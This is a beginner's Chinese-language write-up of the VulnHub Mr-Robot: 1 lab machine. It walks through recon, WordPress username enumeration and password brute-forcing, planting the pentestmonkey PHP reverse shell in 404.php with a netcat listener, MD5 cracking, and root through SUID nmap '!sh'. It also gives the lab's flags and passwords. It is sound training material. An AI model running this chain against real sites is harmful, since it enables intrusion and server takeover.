VulnHub MrRobot (1) 靶机渗透实战 — 初学者的复现之路

发布时间:2026/6/26 16:51:06
VulnHub MrRobot (1) 靶机渗透实战 — 初学者的复现之路 靶机VulnHub — Mr-Robot: 1难度入门 ~ 中级 |目标找到 3 个 flag涉及技术信息收集、WordPress 暴力破解、PHP Reverse Shell、SUID 提权前言大家好我是安全渗透方向的新手。最近在学习 VulnHub 靶机今天分享一下MrRobot (1)的完整复现过程。这个靶机名字一听就知道——致敬美剧《黑客军团》。靶机里一共藏了 3 个 flag从信息收集一路做到提权拿 root刚好串起一次完整的渗透测试流程。做这个的时候踩了不少坑也学到了很多东西记录一下希望对同阶段的同学有帮助。️免责声明本文仅供安全研究与学习参考请勿将文中技术用于非法用途。一、环境配置我用的是 VMware攻击机 Kali 2026.1靶机 MrRobot。两个 VM 都设成 NAT 模式VMnet8确保它们在同一网段。二、信息收集2.1 找到靶机Kali 启动后第一件事——找到目标sudoarp-scan-l扫出来 4 个 IP排除掉网关.1、.2、.254剩下的192.168.241.145就是靶机。2.2 端口扫描nmap-A-sV-p-192.168.241.145这个-p-是全端口扫描等了好几分钟。结果是这样的端口状态说明22/tcpclosedSSH 关着的密码爆破这条路走不通80/tcpopenHTTPWeb 服务443/tcpopenHTTPS65535 个端口只开了 80 和 443入口肯定在 Web 上。SSH 是 closed不是 filtered说明机器在线但服务没开不要在这上面浪费时间了。三、Web 枚举3.1 浏览器瞅一眼先打开http://192.168.241.145一个模拟终端的页面可以敲命令互动。挺酷的但没找到什么可以利用的东西——就是个门面。3.2 挖到 robots.txt之前学信息收集的时候看过一个技巧robots.txt是网站告诉搜索引擎哪些路径不要爬的但它是公开文件攻击者第一个就会来看——因为里面列的往往是管理员不想让人看到的敏感路径。curlhttp://192.168.241.145/robots.txt返回User-agent: * fsocity.dic key-1-of-3.txt两个文件被列在这里直接访问/key-1-of-3.txtKey 1:073403c8a58a1f80d943455fb30724b9第一个 flag 就这么拿到了比我想象的简单 3.3 下字典并去重robots.txt里还有一个fsocity.dic显然是个字典文件wgethttp://192.168.241.145/fsocity.dicwc-lfsocity.dic# 858,160 行85 万行当时觉得后面爆破要跑死。后来查了一下这种字典文件往往大量重复先去重试试sortfsocity.dic|uniqfs-clean.txtwc-lfs-clean.txt# 11,451 行从 85 万缩到 1.1 万——差了两个数量级。如果直接拿原文件去爆破可能要跑几十个小时。后面事实证明这个去重是关键的一步。3.4 发现 WordPress用 dirsearch 扫目录dirsearch-uhttp://192.168.241.145[此处插入 dirsearch 结果截图]扫出来/wp-login.php、/wp-admin/—— 确认是 WordPress。版本 4.3.12015 年的老版本。四、暴力破解 WordPress4.1 找用户名——碰了几次壁一开始想用 WPScan 直接枚举用户wpscan--urlhttp://192.168.241.145--enumerateu但跑完返回No Users Found老版本 WordPress 作者 ID 遍历被禁掉了。后来带我的师傅提醒了一句靶机名字就叫 MrRobot用户名大概率跟剧情有关。于是我在登录页手动试了elliot男主角名字和任意错误密码。返回的错误是“The password you entered for the username elliot is incorrect”而不是 “Invalid username”——这就确认elliot是真实存在的用户。这里学到一点WordPress 对用户名错误和密码错误返回的消息不一样。利用这个差异就能判断用户是否存在不需要什么高级工具。4.2 爆破密码用户名确认了用 WPScan 跑密码wpscan--urlhttp://192.168.241.145-Uelliot-Pfs-clean.txt很快跑出来了[SUCCESS] - elliot / ER28-0652查了一下ER28-0652是剧中 Elliot 在 Allsafe 的员工编号——挺有趣的彩蛋。4.3 进后台http://192.168.241.145/wp-login.php登录elliot 是管理员权限能改主题和插件。五、获取 Shell5.1 思路WordPress 管理员能编辑主题 PHP 文件——把恶意 PHP 代码写进去就能在服务器上执行命令。看了几篇教程大致有三种方式编辑主题模板404.php—— 最简单选了这条路上传恶意插件 —— 要打包 zip图片马 文件包含 —— 进阶玩法5.2 准备反向 Shell一开始我不是很理解反向 Shell是什么。后来想明白了正常情况下是我们浏览器去主动连接服务器。反向就是反过来——让服务器主动连我们。这样能绕过防火墙因为防火墙一般只拦从外到内的连接。wgethttps://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php-Oshell.phpsed-is/$ip .*/$ip 192.168.241.138;/shell.php# 我的 Kali IPsed-is/$port .*/$port 4444;/shell.php注意把 IP 换成你自己的 Kali IP。5.3 注入 ShellWordPress 后台 →Appearance → Editor→ 右侧选404 Template (404.php)→ 全删 → 把shell.php内容贴进去 → Update File。选 404.php 是因为它不需要传任何参数访问不存在的页面就会触发。而且不影响正常页面不太容易被注意到。5.4 触发 Shell新开一个终端启动监听nc-lvnp4444然后另一个终端触发curlhttp://192.168.241.145/wp-content/themes/twentyfifteen/404.php连接进来后whoami# daemon Shell 拿到了当前是daemon用户。5.5 升级终端这个 Shell 很简陋——不能 Tab 补全。用 Python 升级一下python-cimport pty; pty.spawn(/bin/bash)舒服多了。六、横向移动——从 daemon 到 robot6.1 翻 home 目录ls/home/# robotcd/home/robotls-la-r-------- robot key-2-of-3.txt # 只有 robot 用户能读 -rw-r--r-- robot password.raw-md5 # 所有人都能读key-2 权限锁死的但旁边有个世界可读的密码文件。6.2 破解 MD5catpassword.raw-md5# robot:c3fcd3d76192e4007dfb496cca67e13b拿到的是 MD5 哈希。这里我一开始不理解哈希是什么——它跟加密不一样。加密是可逆的有密钥就能解哈希是单向的只能从明文算出哈希值反过来不行。那怎么「破解」呢其实不是反向计算而是用彩虹表——别人早就把常见密码的 MD5 值预先算好了直接查表对照。我去 hashes.com 在线查c3fcd3d76192e4007dfb496cca67e13b → abcdefghijklmnopqrstuvwxyz26 个字母顺序排列……这种密码就是等着被秒破的6.3 切换用户surobot# 密码abcdefghijklmnopqrstuvwxyzcatkey-2-of-3.txtKey 2:822c73956184f694993bede3eb39f959七、提权到 Root7.1 搜索 SUID 文件Linux 里有个东西叫SUIDSet User ID。简单理解就是一个文件如果设了 SUID 位不管谁运行它都会以文件所有者的身份执行。比如passwd命令需要改/etc/shadow只有 root 能写但普通用户也能用——就是因为/usr/bin/passwd有 SUID root 位。那么问题来了——如果某个能执行系统命令的程序有了 SUID root 位就等于给了所有人 root 权限。find/-perm-4000-typef2/dev/null扫出来一堆大部分是系统自带的ping、su、sudo但混进去一个扎眼的/usr/local/bin/nmap正常系统里 nmap 绝不会有 SUID 位——这肯定是靶机制作者故意留的。7.2 利用 nmap interactive 提权查版本nmap--version# Nmap version 3.81Nmap 2.02 到 5.21 版本有个--interactive交互模式里面可以用!前缀执行系统命令。加上 nmap 有 SUID root——在它内部执行的命令也以 root 身份跑。nmap--interactivenmap!shwhoami# root就这么简单直接 root 了7.3 最后一个 Flagcat/root/key-3-of-3.txtKey 3:04787ddef27c3dee1ee161b21670b4e4 三个 Flag 回顾Flag获取方式值Key 1robots.txt 直接访问073403c8a58a1f80d...Key 2MD5 破解 → su robot822c73956184f694...Key 3SUID nmap → !sh → root04787ddef27c3dee... 攻击链信息收集 → robots.txt 泄密 → Key 1 → dirsearch → 发现 WordPress → 手动枚举用户名 → elliot → WPScan 爆破密码 → ER28-0652 → 登录后台 → 编辑 404.php 注入 Reverse Shell → nc 监听 → daemon Shell → password.raw-md5 → 在线彩虹表破解 → su robot → Key 2 → SUID 搜索 → nmap --interactive → !sh → root → Key 3踩过的坑 经验总结WPScan 枚举用户失败了最后是手动试出来的。CTF 靶机用户名人名往往跟主题有关先猜一下有时候比工具还快。字典去重是血泪教训。fsocity.dic85 万行缩到 1.1 万行不先去做重的话我估计要跑通宵。robots.txt 真的不能放敏感路径。它本质上不是安全机制是广告牌——告诉所有人「这些地方不想让你看到」。WordPress 管理员 任意代码执行。这不是漏洞是设计特性。但只要配一个弱密码就等于把服务器钥匙送人。SUID 提权是最常见的 Linux 提权路径。find / -perm -4000这条命令以后会成为肌肉记忆。如果 nmap 不是 SUID可以试试sudo -l看 robot 用户有没有其他 sudo 权限。这次有 nmap 直接搞定了但学到的思路是通用的。这个靶机适合谁如果你像我一样刚入渗透测试的门MrRobot 是个很好的练手目标不需要 0day不涉及逆向每一步都是渗透测试的标准流程网上有很多资料可以对照着学做完后去挑战中间难度的靶机会更有底气参考资料VulnHub — Mr-Robot: 1GTFOBins — nmapPentestMonkey PHP Reverse Shell“Control is an illusion.” — Mr. Robot 这是我在 VulnHub MrRobot (1) 上的新手学习记录。如果你在复现中遇到不同的报错、或者有更好的方法欢迎在评论区一起交流